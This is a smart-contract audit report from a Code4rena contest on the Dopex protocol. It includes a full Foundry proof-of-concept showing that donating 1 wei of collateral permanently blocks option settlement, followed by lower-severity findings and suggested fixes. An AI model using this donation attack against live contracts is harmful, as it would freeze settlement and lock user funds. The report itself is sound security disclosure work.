Dopex - parsely's results

Lines of code

https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/perp-vault/PerpetualAtlanticVaultLP.sol#L198-L205

Vulnerability details

Context

https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/perp-vault/PerpetualAtlanticVaultLP.sol#L198-L205

Description

If a malicious actor were to donate 1 wei of collateral token to the contract this would permanently cause the settle process to fail, as there is no emergencyWithdraw function and thus the extra 1 wei of value will be locked in the contract.

The settle function in the RdpxV2Core contract calls the settle function within the PerpetualAtlanticVault contract. The settle function of PerpetualAtlanticVault calls the line of code below

IPerpetualAtlanticVaultLP(addresses.perpetualAtlanticVaultLP).subtractLoss(
      ethAmount
    );

In the subtractLoss function in the PerpetualAtlanticVaultLP contract there is a check for the value of the balance of the collateral token owned by the contract being equivalent to an internal variable of _totalCollateral, minus the value of the loss variable sent in as the function parameter.

 require(
      collateral.balanceOf(address(this)) == _totalCollateral - loss,
      "Not enough collateral was sent out"
    );

PoC

Copy/Paste to a file called VaultDonation.t.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.19;

import { Test } from "forge-std/Test.sol";
import "forge-std/console.sol";
import { ERC721Holder } from "@openzeppelin/contracts/token/ERC721/utils/ERC721Holder.sol";
import { Setup } from "./Setup.t.sol";
import "contracts/core/IRdpxV2Core.sol";
contract VaultDonationTest is ERC721Holder, Setup {

  function testVaultDonation() public {
    // user 1 bonds 10 dpxETH
    uint256 receiptTokens1 = rdpxV2Core.bond(10 * 1e18, 0, address(1));
    // user 2 bonds 10 dpxETH
    rdpxV2Core.bond(10 * 1e18, 0, address(2));

    // update rdpx to (.312 eth)
    address[] memory path;
    path = new address[](2);
    path[0] = address(weth);
    path[1] = address(rdpx);
    router.swapExactTokensForTokens(
      500e18,
      0,
      path,
      address(this),
      block.timestamp
    );
    rdpxPriceOracle.updateRdpxPrice(312 * 1e5);

    // reduce bond discount
    rdpxV2Core.setBondDiscount(5e4);

    // user 3 bonds 5 dpxETH at new price and bond discount
    weth.transfer(address(3), 5e18);
    rdpx.transfer(address(3), 50e18);
    vm.prank(address(3), address(3));
    weth.approve(address(rdpxV2Core), type(uint256).max);
    vm.prank(address(3), address(3));
    rdpx.approve(address(rdpxV2Core), type(uint256).max);
    vm.prank(address(3), address(3));
    rdpxV2Core.bond(5 * 1e18, 0, address(3));

    // skip 5 days
    skip(86400 * 5);

    // delegate 2 weth at 10% fee
    uint256 delegateId1 = rdpxV2Core.addToDelegate(2e18, 10e8);

    // user 1 delegate 5 weth at 20% fee
    weth.transfer(address(1), 5e18);
    vm.prank(address(1), address(1));
    weth.approve(address(rdpxV2Core), type(uint256).max);
    vm.prank(address(1), address(1));
    uint256 delegateId2 = rdpxV2Core.addToDelegate(5e18, 20e8);

    // bond with delegate
    uint256[] memory _amounts = new uint256[](2);
    uint256[] memory _delegateIds = new uint256[](2);
    _delegateIds[0] = delegateId1;
    _delegateIds[1] = delegateId2;
    _amounts[0] = 1 * 1e18;
    _amounts[1] = 1 * 3e18;
    rdpxV2Core.bondWithDelegate(address(this), _amounts, _delegateIds, 0);

    // skip 2 days and update funding payment pointer
    skip(86400 * 2);
    vault.updateFundingPaymentPointer();

    // calculate funding
    uint256[] memory strikes = new uint256[](2);
    strikes[0] = 15e6;
    strikes[1] = 24000000;
    vault.calculateFunding(strikes);

    // bond 1 dpxETH
    rdpxV2Core.bond(1 * 1e18, 0, address(this));

    // provide funding
    vault.addToContractWhitelist(address(rdpxV2Core));

    // send funding to rdpxV2Core and call sync
    uint256 funding = vault.totalFundingForEpoch(
      vault.latestFundingPaymentPointer()
    );
    weth.transfer(address(rdpxV2Core), funding);
    rdpxV2Core.sync();

    rdpxV2Core.provideFunding();

    // bond 1 dpxETH
    rdpxV2Core.bond(1 * 1e18, 0, address(this));

    // skip 7 days
    skip(86400 * 7);
    vault.updateFundingPaymentPointer();
    receiptTokens1 = rdpxV2Core.bond(1 * 1e18, 0, address(this));

    // calculate and pay funding
    vault.calculateFunding(strikes);

    // send funding to rdpxV2Core and call sync
    funding = vault.totalFundingForEpoch(vault.latestFundingPaymentPointer());
    weth.transfer(address(rdpxV2Core), funding);
    rdpxV2Core.sync();
    rdpxV2Core.provideFunding();

    // decrease price of rdpx (0.2weth)
    path[1] = address(weth);
    path[0] = address(rdpx);
    router.swapExactTokensForTokens(
      2000e18,
      0,
      path,
      address(this),
      block.timestamp
    );
    rdpxPriceOracle.updateRdpxPrice(2 * 1e7);

    //##################################################
    // ATTACK SCENARIO IN THESE LINES
    // adding token to address(1) to have funds to transfer
    weth.transfer(address(1),10 wei);
    // Change sender to address(1)
    vm.prank(address(1));
    // Send only 1 wei of collateral token
    weth.transfer(address(vaultLp),1 wei);

    //##################################################

    // settle options
    uint256[] memory ids = new uint256[](6);
    ids[0] = 2;
    ids[1] = 3;
    ids[2] = 4;
    ids[3] = 5;
    ids[4] = 6;
    ids[5] = 7;
    rdpxV2Core.settle(ids);

  }
}

Output:

Running 1 test for tests/rdpxV2-core/VaultDonation.t.sol:VaultDonationTest
[FAIL. Reason: Not enough collateral was sent out] testVaultDonation() (gas: 6069094)
Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 991.55ms
Ran 1 test suites: 0 tests passed, 1 failed, 0 skipped (1 total tests)

Failing tests:
Encountered 1 failing test in tests/rdpxV2-core/VaultDonation.t.sol:VaultDonationTest
[FAIL. Reason: Not enough collateral was sent out] testVaultDonation() (gas: 6069094)

Encountered a total of 1 failing tests, 0 tests succeeded

Impact

This would cause the settle function to always fail.

Resolution

Three options could be considered, the first option is to change the require statement, to allow the balance to be greater than the calculation. The second option is to change the internal accounting to allow for a different check in the require statement, and lastly an emergencyWithdraw function could be added, this would however not prevent temporary donations causing issues.

Assessed type

Other

[L-01] Missing checks for the contract being paused.

Context

https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/core/RdpxV2Core.sol#L1016-L1042 https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/core/RdpxV2Core.sol#L1051-L1070 https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/core/RdpxV2Core.sol#L1080-L1124

Description

The redeem, upperDepeg and lowerDepeg functions are missing the check as to if the contract is paused. These functions should check if the contract is paused as confirmed with the sponsor.

Resolution

Add the check _whenNotPaused() to the functions.

[L-02] RdpxV2Core redeem function runs successfully if the user sends in address(0) as the to parameter.

Context

https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/core/RdpxV2Core.sol#L1016-L1042

Impact

User funds would be lost, as the token and transfer function do not seem to catch it be default.

Description

Although it would be a user mistake, it would still lead to loss of funds. The call in a PoC using parameter address(0) runs successfully.

    uint256 redeemRet = rdpxV2Core.redeem(2, address(0));
    console.log("Amount redeemed : " , redeemRet);

Gives output as below indicating it was successfully actioned:

  Contract Balance of TOKEN before call :  5000000000000000001
  Test user Balance of TOKEN before call :  0
  Amount redeemed :  1
  Contract Balance of TOKEN after call :  5000000000000000000
  Test user Balance of TOKEN after call :  0

and emits to event as below:

emit LogRedeem(to: 0x0000000000000000000000000000000000000000, amount: 1)

Resolution

Add the check for address(0).

[L-03] No way for user to swap receiptToken back to dpxETH and WETH currently.

Context

https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/core/RdpxV2Core.sol#L1016-L1042

Description

The redeem function only returns receiptToken to the user after the bond has matured. I confirmed with the sponsor and currently the receiptToken swap back to WETH and/or dpxETH is not implemented yet.

Impact

The user currently can only get receiptToken but cannot get WETH or dpxETH back out.

Resolution

Implement the functionality in the receiptToken before launching.

[NC-01] Unused local variable : amoAddresses.

Context

https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/core/RdpxV2Core.sol#L63-L64

address[] public amoAddresses;

Description

The local variable amoAddresses is controlled by the functions addAMOAddress(address _addr) and removeAMOAddress(uint256 _index) but the actual addresses saved to the array are never used in anyway throughout all the code.

Resolution

Consider removing the array and functions, if it will not be used in future.

[NC-02] Unused function parameter : shares in PerpetualAtlanticVaultLP.sol function beforeWithdraw.

Context

https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/core/RdpxV2Core.sol#L63-L64

function beforeWithdraw(uint256 assets, uint256 /*shares*/) internal {
    require(
      assets <= totalAvailableCollateral(),
      "Not enough available assets to satisfy withdrawal"
    );
    _totalCollateral -= assets;
  }

Description

The function parameter shares is not used by the function beforeWithdraw(uint256 assets, uint256 /*shares*/) but is not used within the function in any way.

Resolution

Consider removing the function parameter, if it will not be used in future.

[NC-03] Comment about functionality is incorrect in the _transfer function in the RdpxV2Core contract.

Context

https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/core/RdpxV2Core.sol#L652

// Transfer rDPX and ETH token from user

Description

TThe comment mentions that it transfers ETH from the user, but as confirmed with the sponsor this is an old comment and the function does not transfer any ETH from the user.

Resolution

Correct comment to be

// Transfer rDPX